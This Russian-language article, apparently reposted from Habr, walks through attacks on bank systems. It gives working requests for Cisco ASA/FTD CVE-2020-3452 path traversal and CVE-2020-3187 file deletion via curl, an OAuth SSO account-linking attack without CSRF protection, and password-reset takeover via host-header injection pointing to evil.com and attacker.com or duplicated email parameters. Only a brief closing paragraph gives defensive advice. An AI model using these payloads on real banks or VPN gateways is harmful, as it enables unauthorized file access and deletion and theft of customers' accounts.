1. SSL VPN Сервисы
Очень часто банки используют Cisco SSL VPN сервисы для организации удаленного доступа в свою внутреннюю сетьЭто хорошо, но.. В Cisco существуют две потенциальные уязвимости CVE-2020-3452 и CVE-2020-3187
1.1. CVE-2020-3452
CVE-2020-3452 - это уязвимость обхода пути только для чтения в программном обеспечении Cisco ASA и FTD. Удаленный злоумышленник, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив специально созданный HTTP-запрос в уязвимую систему.Воспроизведение данной уязвимости очень проста для злоумышленника
https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../
Ответ
Вот так мы прочитываем файлы, в которых можно найти конфиденциальную информацию.
1.2. CVE-2020-3187
Эксплойт может позволить злоумышленнику просмотреть или удалить произвольные файлы в целевой системеДля воспроизведения уязвимости нужно узнать дает ли /session_password.html ответ 200
curl -k -s -i https://Cisco-VPN/+CSCOE+/session_password.html
Дает результат 200? - Отлично
Попробуем удалить файл с логотипом "/+CSCOU+/csco_logo.gif"
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://Cisco-VPN/+CSCOE+/session_password.html
С VPN сервисами закончили.
2. Аутентификация & OAuth
Разработчики онлайн-банкинга часто допускают ошибки при реализации единого входа (SSO) на основе протокола OAuth 2.0, что может привести к перехвату учетных данных, отправленных по незащищенному протоколу, и захвату сеанса злоумышленником.Пример
GET /auth/sso/cb?code=[sso token account] HTTP/1.1Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Обычно в таких запросах обязательно должны стоять CSRF ключи для проверки подлинности. Но если их нет - злоумышленник может развить свою атаку.
- Регистрация аккаунта SSO
- При попытке привязать свой аккаунт SSO к банку, злоумышленник перехватывает запрос тот что в верху
- Отправляет сгенерированную ссылку жертве.
- Аккаунт SSO хакера привязан к банку жертвы.
Захват учетной записи через сброс пароля
ЭксплуатацияPOST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com
или
Host: bank.com
X-Forwarded-Host: attacker.com
Ну или
Host: target.com
Host: attacker.com
При восстановлении пороля злоумышленник должен указать email адрес жертвы и в заголовках попытаться внедрить свой хост.
При успешной реализации атаки на почту пользователю придет следущее
Как мы видим сервер подставил вместо хоста банка - хост хакера. И если пользователь перейдет по ссылке, то злоумышленник получить токены для авторизации.
Иногда можно не изменять хост в заголовках и поступить другим образом.
POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com
В запросе видно что злоумышленник просто продублировал параметр email и указал свою почту на которую прийдет токен авторизации.
Вывод
Постоянно обновляйте свои службы будь то SSL VPN, или GlobalProtect.Следите за безопасностью аутентификации
Также как совет используйте брандмауэр веб-приложений ( WAF ), чтобы предотвратить использование уязвимостей, вызванных изменениями кода.
Источник статьи: https://habr.com/ru/post/543432/